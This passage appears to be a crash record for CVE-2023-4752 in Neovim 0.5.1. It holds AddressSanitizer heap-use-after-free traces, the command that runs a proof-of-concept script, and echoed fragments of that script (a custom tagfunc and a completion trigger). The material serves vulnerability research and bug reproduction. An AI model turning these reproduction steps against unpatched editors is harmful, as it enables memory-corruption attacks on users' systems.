#14 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #17 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #18 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #19 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #20 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #21 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #22 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #23 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #24 0x7fa5d5e05082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4182:14 in ins_compl_get_exp\nShadow bytes around the buggy address:\n  0x0c047ffff410: fa fa fd fd fa fa fd fa fa fa 00 00 fa fa 00 00\n  0x0c047ffff420: fa fa fd fd fa fa 02 fa fa fa 02 fa fa fa 02 fa\n  0x0c047ffff430: fa fa 03 fa fa fa fd fd fa fa fd fa fa fa fd fd\n  0x0c047ffff440: fa fa 00 03 fa fa fd fd fa fa 00 03 fa fa fd fa\n  0x0c047ffff450: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x0c047ffff460: fa fa fd[fd]fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047ffff470: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff480: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff490: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff4a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff4b0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5418==ABORTING\n\n\nCommand:\n./nvim-0.5.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5485==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000007ad9 at pc 0x000000721cef bp 0x7fff2838fd50 sp 0x7fff2838fd48\nREAD of size 1 at 0x602000007ad9 thread T0\n    #0 0x721cee in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14\n    #1 0x6fbcc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #2 0x6f6c62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #3 0x70b241 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #4 0x70de83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #5 0x6e664a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #6 0xee9614 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #7 0x6ea859 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #8 0x6e4853 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #9 0xbf4678 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #10 0xbd9981 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #11 0xbcdd8b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #12 0xbca776 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #13 0x8ff950 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8514:5\n    #14 0x8ff696 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8497:3\n    #15 0x91900a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8425:7\n    #16 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #17 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #18 0x8c1e99 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3061:5\n    #19 0x8beab8 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #20 0x8bf090 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #21 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #22 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #23 0x8d0ee3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #24 0xa936ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #25 0xa8bad0 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #26 0x7fa74b499082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x45de8d)\n\n0x602000007ad9 is located 9 bytes inside of 10-byte region [0x602000007ad0,0x602000007ada)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x4d634d)\n    #1 0xb32744 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0xc726e8 in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2098:5\n    #3 0x663c0f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1977:3\n    #4 0x6576e1 in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:806:5\n    #5 0x657156 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:766:3\n    #6 0x653990 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:625:5\n    #7 0x65f7eb in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1100:5\n    #8 0x659780 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1271:14\n    #9 0x65df34 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:976:11\n    #10 0x9107cd in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4880:17\n    #11 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #12 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #13 0x845146 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #14 0x841d26 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #15 0x73608e in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1070:9\n    #16 0xf4b5e8 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1179:12\n    #17 0xf3b118 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1524:14\n    #18 0x7232da in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4226:11\n    #19 0x6fbcc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #20 0x6f6c62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #21 0x70b241 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #22 0x70de83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #23 0x6e664a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #24 0xee9614 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #25 0x6ea859 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #26 0x6e4853 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #27 0xbf4678 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #28 0xbd9981 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #29 0xbcdd8b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x4d65cd)\n    #1 0xb32492 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb32664 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb32aad in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb32b28 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb3327b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeb0d4 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xc81d2f in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:6023:22\n    #8 0x65cd91 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1825:5\n    #9 0x6695b6 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2991:9\n    #10 0x8fa692 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6954:7\n    #11 0x8fa4d2 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6923:7\n    #12 0x8b9bd0 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1819:7\n    #13 0x8b7606 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2039:11\n    #14 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #15 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #16 0x8c1e99 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3061:5\n    #17 0x8beab8 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #18 0x8bf090 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #19 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #20 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #21 0x8d0ee3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa936ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #23 0xa8bad0 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #24 0x7fa74b499082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14 in ins_compl_get_exp\nShadow bytes around the buggy address:\n  0x0c047fff8f00: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa fd fa\n  0x0c047fff8f10: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa 02 fa\n  0x0c047fff8f20: fa fa 02 fa fa fa 02 fa fa fa 03 fa fa fa fd fd\n  0x0c047fff8f30: fa fa fd fa fa fa fd fd fa fa 00 03 fa fa fd fd\n  0x0c047fff8f40: fa fa 00 03 fa fa fd fa fa fa 02 fa fa fa fd fa\n=>0x0c047fff8f50: fa fa fd fa fa fa fd fa fa fa fd[fd]fa fa fd fa\n  0x0c047fff8f60: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8f70: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff8f80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8f90: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8fa0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5485==ABORTING", "creation_timestamp": "2026-06-13T13:31:42.000000Z"}]}